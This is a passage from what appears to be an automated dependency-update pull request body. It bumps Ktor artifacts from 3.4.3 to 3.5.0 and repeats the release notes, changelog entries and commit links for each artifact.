href=\"https://github.com/ktorio/ktor/commit/decd09ffd35e23a2b3e4481f37b252000a8b7ec2\"\u003e\u003ccode\u003edecd09f\u003c/code\u003e\u003c/a\u003e Update report links (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5616\"\u003e#5616\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/ba5bbc5a7aafe0b909e9c40536153d02b7baa99c\"\u003e\u003ccode\u003eba5bbc5\u003c/code\u003e\u003c/a\u003e Rethrow cancellation in Digest.build (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5618\"\u003e#5618\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/165355954f7659ddd9c114381ea8eb592dee9cb7\"\u003e\u003ccode\u003e1653559\u003c/code\u003e\u003c/a\u003e Update kotlinx-serialization to v1.11.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/eb593ac471b00f99c55090fb190a0ec5cdfa5115\"\u003e\u003ccode\u003eeb593ac\u003c/code\u003e\u003c/a\u003e Update kotlinx-coroutines to v1.11.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/043d400e8140e1e2c46830463efb807f3669a313\"\u003e\u003ccode\u003e043d400\u003c/code\u003e\u003c/a\u003e Update dependency org.jetbrains.kotlinx:kotlinx-io-core to v0.9.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/75a8324a98f38ca299ba8af7e4224a07cb78bc30\"\u003e\u003ccode\u003e75a8324\u003c/code\u003e\u003c/a\u003e Update dependency com.squareup.okio:okio to v3.17.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/757c3da525695ae2e0b3f15b50145f50e57d08af\"\u003e\u003ccode\u003e757c3da\u003c/code\u003e\u003c/a\u003e Update dependency com.google.code.gson:gson to v2.14.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/4b796859d1c189190d3fe964bf506d98356a5e0c\"\u003e\u003ccode\u003e4b79685\u003c/code\u003e\u003c/a\u003e Update dependency com.auth0:jwks-rsa to v0.24.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/6fe542f9b102300921ce681afb48d38c5e3aac2d\"\u003e\u003ccode\u003e6fe542f\u003c/code\u003e\u003c/a\u003e Update tomcat.jakarta to v10.1.55\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/ktorio/ktor/compare/3.4.3...3.5.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-http-jvm` from 3.4.3 to 3.5.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-http-jvm's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.5.0\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 14 May 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8421\"\u003eKTOR-8421\u003c/a\u003e Route.contentType should support multiple ContentType\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7961\"\u003eKTOR-7961\u003c/a\u003e Add known TDM headers to the HttpHeaders object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9418\"\u003eKTOR-9418\u003c/a\u003e Support getAs from the root ApplicationConfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9559\"\u003eKTOR-9559\u003c/a\u003e DNS configuration for the Apache5 client\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9554\"\u003eKTOR-9554\u003c/a\u003e DNS configuration for OkHttp client engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9555\"\u003eKTOR-9555\u003c/a\u003e Custom SSE heartbeat function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8914\"\u003eKTOR-8914\u003c/a\u003e Dependency injection: read annotations in function references\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8300\"\u003eKTOR-8300\u003c/a\u003e Sessions: Add a way to create a user session shared for all user devices or look up sessions of the same user\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9521\"\u003eKTOR-9521\u003c/a\u003e Upgrade to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9276\"\u003eKTOR-9276\u003c/a\u003e Make DynamicProviderConfig.authenticateFunction suspend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9491\"\u003eKTOR-9491\u003c/a\u003e Provide parameter validation convenience functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9506\"\u003eKTOR-9506\u003c/a\u003e OpenAPI: Support prefixItems in JsonSchema for tuple type definitions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-470\"\u003eKTOR-470\u003c/a\u003e Add an option to not resend the session cookie if the session data wasn't changed.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9355\"\u003eKTOR-9355\u003c/a\u003e Deprecate HttpHeaders.AcceptCharset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7659\"\u003eKTOR-7659\u003c/a\u003e Make ktor-network compatible with ES modules for nodejs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9350\"\u003eKTOR-9350\u003c/a\u003e JS: Make ES2015 the default target for tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7578\"\u003eKTOR-7578\u003c/a\u003e Update Digest authentication implementation according to RFC 7616\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9503\"\u003eKTOR-9503\u003c/a\u003e The JacksonConverter.streamRequestBody property name is confusing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9552\"\u003eKTOR-9552\u003c/a\u003e Deprecation notice for io.ktor.server.auth.Principal does not explain what to use instead\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7458\"\u003eKTOR-7458\u003c/a\u003e Jetty Jakarta: Provide an easy way to disable SNI hostname validation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9354\"\u003eKTOR-9354\u003c/a\u003e Websockets: webSocket builder function should return a Route to be describable\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9488\"\u003eKTOR-9488\u003c/a\u003e Nonce and hex function performance optimizations\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9524\"\u003eKTOR-9524\u003c/a\u003e Netty response hangs after connection lost\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9542\"\u003eKTOR-9542\u003c/a\u003e Netty: The request handler runs on worker event loop instead of call event loop since 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9531\"\u003eKTOR-9531\u003c/a\u003e Netty server intermittently drops requests after upgrading to 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8151\"\u003eKTOR-8151\u003c/a\u003e MicrometerMetrics: \u0026quot;MeterFilters configured after a Meter has been registered\u0026quot; warning when a metric is registered before installing the plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9411\"\u003eKTOR-9411\u003c/a\u003e Darwin throws DarwinHttpRequestException instead of FrameTooBigException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8320\"\u003eKTOR-8320\u003c/a\u003e CallLogging: plugin usage in testApplication breaks console standard output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8906\"\u003eKTOR-8906\u003c/a\u003e Jackson, with request body streaming on, exhausts Dispatchers.IO\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8709\"\u003eKTOR-8709\u003c/a\u003e Websockets: Unable to close session with a custom CloseReason\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9567\"\u003eKTOR-9567\u003c/a\u003e Flaky UnixSockets on Windows: WSAEOPNOTSUPP from bind()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9183\"\u003eKTOR-9183\u003c/a\u003e A client call wrapped with \u003ccode\u003ewithTimeout\u003c/code\u003e throws a generic CancellationException instead of TimeoutCancellationException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8199\"\u003eKTOR-8199\u003c/a\u003e Autoreloading: default watch patterns don't match anything when project path contain spaces\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9549\"\u003eKTOR-9549\u003c/a\u003e Kotlin/JS: ktor-ktor-client-core.mjs is incompatible with Vite: toRaw naming conflict\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9544\"\u003eKTOR-9544\u003c/a\u003e Apache: body channel not cancelled when caller scope is cancelled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9546\"\u003eKTOR-9546\u003c/a\u003e HttpClient: cancelling ByteReadChannel body does not propagate to engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-455\"\u003eKTOR-455\u003c/a\u003e Content-Disposition additional parameters should be inside quotes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9500\"\u003eKTOR-9500\u003c/a\u003e RawSourceChannel returns false positive on awaitContent\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-646\"\u003eKTOR-646\u003c/a\u003e Netty engine still print annoying exceptions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9527\"\u003eKTOR-9527\u003c/a\u003e Curl: Freeze when receiving large responses\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9460\"\u003eKTOR-9460\u003c/a\u003e Curl: Can't build shared library with Ktor 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9483\"\u003eKTOR-9483\u003c/a\u003e Curl: backpressure implementation is never used\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-http-jvm's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.5.0\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 14 May 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8421\"\u003eKTOR-8421\u003c/a\u003e Route.contentType should support multiple ContentType\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7961\"\u003eKTOR-7961\u003c/a\u003e Add known TDM headers to the HttpHeaders object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9418\"\u003eKTOR-9418\u003c/a\u003e Support getAs from the root ApplicationConfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9559\"\u003eKTOR-9559\u003c/a\u003e DNS configuration for the Apache5 client\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9554\"\u003eKTOR-9554\u003c/a\u003e DNS configuration for OkHttp client engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9555\"\u003eKTOR-9555\u003c/a\u003e Custom SSE heartbeat function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8914\"\u003eKTOR-8914\u003c/a\u003e Dependency injection: read annotations in function references\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8300\"\u003eKTOR-8300\u003c/a\u003e Sessions: Add a way to create a user session shared for all user devices or look up sessions of the same user\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9521\"\u003eKTOR-9521\u003c/a\u003e Upgrade to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9276\"\u003eKTOR-9276\u003c/a\u003e Make DynamicProviderConfig.authenticateFunction suspend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9491\"\u003eKTOR-9491\u003c/a\u003e Provide parameter validation convenience functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9506\"\u003eKTOR-9506\u003c/a\u003e OpenAPI: Support prefixItems in JsonSchema for tuple type definitions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-470\"\u003eKTOR-470\u003c/a\u003e Add an option to not resend the session cookie if the session data wasn't changed.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9355\"\u003eKTOR-9355\u003c/a\u003e Deprecate HttpHeaders.AcceptCharset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7659\"\u003eKTOR-7659\u003c/a\u003e Make ktor-network compatible with ES modules for nodejs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9350\"\u003eKTOR-9350\u003c/a\u003e JS: Make ES2015 the default target for tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7578\"\u003eKTOR-7578\u003c/a\u003e Update Digest authentication implementation according to RFC 7616\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9503\"\u003eKTOR-9503\u003c/a\u003e The JacksonConverter.streamRequestBody property name is confusing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9552\"\u003eKTOR-9552\u003c/a\u003e Deprecation notice for io.ktor.server.auth.Principal does not explain what to use instead\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7458\"\u003eKTOR-7458\u003c/a\u003e Jetty Jakarta: Provide an easy way to disable SNI hostname validation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9354\"\u003eKTOR-9354\u003c/a\u003e Websockets: webSocket builder function should return a Route to be describable\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9488\"\u003eKTOR-9488\u003c/a\u003e Nonce and hex function performance optimizations\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9524\"\u003eKTOR-9524\u003c/a\u003e Netty response hangs after connection lost\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9542\"\u003eKTOR-9542\u003c/a\u003e Netty: The request handler runs on worker event loop instead of call event loop since 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9531\"\u003eKTOR-9531\u003c/a\u003e Netty server intermittently drops requests after upgrading to 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8151\"\u003eKTOR-8151\u003c/a\u003e MicrometerMetrics: \u0026quot;MeterFilters configured after a Meter has been registered\u0026quot; warning when a metric is registered before installing the plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9411\"\u003eKTOR-9411\u003c/a\u003e Darwin throws DarwinHttpRequestException instead of FrameTooBigException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8320\"\u003eKTOR-8320\u003c/a\u003e CallLogging: plugin usage in testApplication breaks console standard output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8906\"\u003eKTOR-8906\u003c/a\u003e Jackson, with request body streaming on, exhausts Dispatchers.IO\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8709\"\u003eKTOR-8709\u003c/a\u003e Websockets: Unable to close session with a custom CloseReason\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9567\"\u003eKTOR-9567\u003c/a\u003e Flaky UnixSockets on Windows: WSAEOPNOTSUPP from bind()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9183\"\u003eKTOR-9183\u003c/a\u003e A client call wrapped with \u003ccode\u003ewithTimeout\u003c/code\u003e throws a generic CancellationException instead of TimeoutCancellationException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8199\"\u003eKTOR-8199\u003c/a\u003e Autoreloading: default watch patterns don't match anything when project path contain spaces\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9549\"\u003eKTOR-9549\u003c/a\u003e Kotlin/JS: ktor-ktor-client-core.mjs is incompatible with Vite: toRaw naming conflict\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9544\"\u003eKTOR-9544\u003c/a\u003e Apache: body channel not cancelled when caller scope is cancelled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9546\"\u003eKTOR-9546\u003c/a\u003e HttpClient: cancelling ByteReadChannel body does not propagate to engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-455\"\u003eKTOR-455\u003c/a\u003e Content-Disposition additional parameters should be inside quotes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9500\"\u003eKTOR-9500\u003c/a\u003e RawSourceChannel returns false positive on awaitContent\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-646\"\u003eKTOR-646\u003c/a\u003e Netty engine still print annoying exceptions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9527\"\u003eKTOR-9527\u003c/a\u003e Curl: Freeze when receiving large responses\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9460\"\u003eKTOR-9460\u003c/a\u003e Curl: Can't build shared library with Ktor 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9483\"\u003eKTOR-9483\u003c/a\u003e Curl: backpressure implementation is never used\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/3ccad96fbb891469cdb5ff92b51a96bb6d6374c9\"\u003e\u003ccode\u003e3ccad96\u003c/code\u003e\u003c/a\u003e Release 3.5.0 (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5612\"\u003e#5612\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/decd09ffd35e23a2b3e4481f37b252000a8b7ec2\"\u003e\u003ccode\u003edecd09f\u003c/code\u003e\u003c/a\u003e Update report links (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5616\"\u003e#5616\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/ba5bbc5a7aafe0b909e9c40536153d02b7baa99c\"\u003e\u003ccode\u003eba5bbc5\u003c/code\u003e\u003c/a\u003e Rethrow cancellation in Digest.build (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5618\"\u003e#5618\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/165355954f7659ddd9c114381ea8eb592dee9cb7\"\u003e\u003ccode\u003e1653559\u003c/code\u003e\u003c/a\u003e Update kotlinx-serialization to v1.11.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/eb593ac471b00f99c55090fb190a0ec5cdfa5115\"\u003e\u003ccode\u003eeb593ac\u003c/code\u003e\u003c/a\u003e Update kotlinx-coroutines to v1.11.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/043d400e8140e1e2c46830463efb807f3669a313\"\u003e\u003ccode\u003e043d400\u003c/code\u003e\u003c/a\u003e Update dependency org.jetbrains.kotlinx:kotlinx-io-core to v0.9.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/75a8324a98f38ca299ba8af7e4224a07cb78bc30\"\u003e\u003ccode\u003e75a8324\u003c/code\u003e\u003c/a\u003e Update dependency com.squareup.okio:okio to v3.17.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/757c3da525695ae2e0b3f15b50145f50e57d08af\"\u003e\u003ccode\u003e757c3da\u003c/code\u003e\u003c/a\u003e Update dependency com.google.code.gson:gson to v2.14.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/4b796859d1c189190d3fe964bf506d98356a5e0c\"\u003e\u003ccode\u003e4b79685\u003c/code\u003e\u003c/a\u003e Update dependency com.auth0:jwks-rsa to v0.24.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/6fe542f9b102300921ce681afb48d38c5e3aac2d\"\u003e\u003ccode\u003e6fe542f\u003c/code\u003e\u003c/a\u003e Update tomcat.jakarta to v10.1.55\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/ktorio/ktor/compare/3.4.3...3.5.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-server-netty` from 3.4.3 to 3.5.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-netty's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.5.0\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 14 May 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8421\"\u003eKTOR-8421\u003c/a\u003e Route.contentType should support multiple ContentType\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7961\"\u003eKTOR-7961\u003c/a\u003e Add known TDM headers to the HttpHeaders object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9418\"\u003eKTOR-9418\u003c/a\u003e Support getAs from the root ApplicationConfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9559\"\u003eKTOR-9559\u003c/a\u003e DNS configuration for the Apache5 client\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9554\"\u003eKTOR-9554\u003c/a\u003e DNS configuration for OkHttp client engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9555\"\u003eKTOR-9555\u003c/a\u003e Custom SSE heartbeat function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8914\"\u003eKTOR-8914\u003c/a\u003e Dependency injection: read annotations in function references\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8300\"\u003eKTOR-8300\u003c/a\u003e Sessions: Add a way to create a user session shared for all user devices or look up sessions of the same user\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9521\"\u003eKTOR-9521\u003c/a\u003e Upgrade to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9276\"\u003eKTOR-9276\u003c/a\u003e Make DynamicProviderConfig.authenticateFunction suspend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9491\"\u003eKTOR-9491\u003c/a\u003e Provide parameter validation convenience functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9506\"\u003eKTOR-9506\u003c/a\u003e OpenAPI: Support prefixItems in JsonSchema for tuple type definitions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-470\"\u003eKTOR-470\u003c/a\u003e Add an option to not resend the session cookie if the session data wasn't changed.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9355\"\u003eKTOR-9355\u003c/a\u003e Deprecate HttpHeaders.AcceptCharset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7659\"\u003eKTOR-7659\u003c/a\u003e Make ktor-network compatible with ES modules for nodejs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9350\"\u003eKTOR-9350\u003c/a\u003e JS: Make ES2015 the default target for tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7578\"\u003eKTOR-7578\u003c/a\u003e Update Digest authentication implementation according to RFC 7616\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9503\"\u003eKTOR-9503\u003c/a\u003e The JacksonConverter.streamRequestBody property name is confusing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9552\"\u003eKTOR-9552\u003c/a\u003e Deprecation notice for io.ktor.server.auth.Principal does not explain what to use instead\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7458\"\u003eKTOR-7458\u003c/a\u003e Jetty Jakarta: Provide an easy way to disable SNI hostname validation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9354\"\u003eKTOR-9354\u003c/a\u003e Websockets: webSocket builder function should return a Route to be 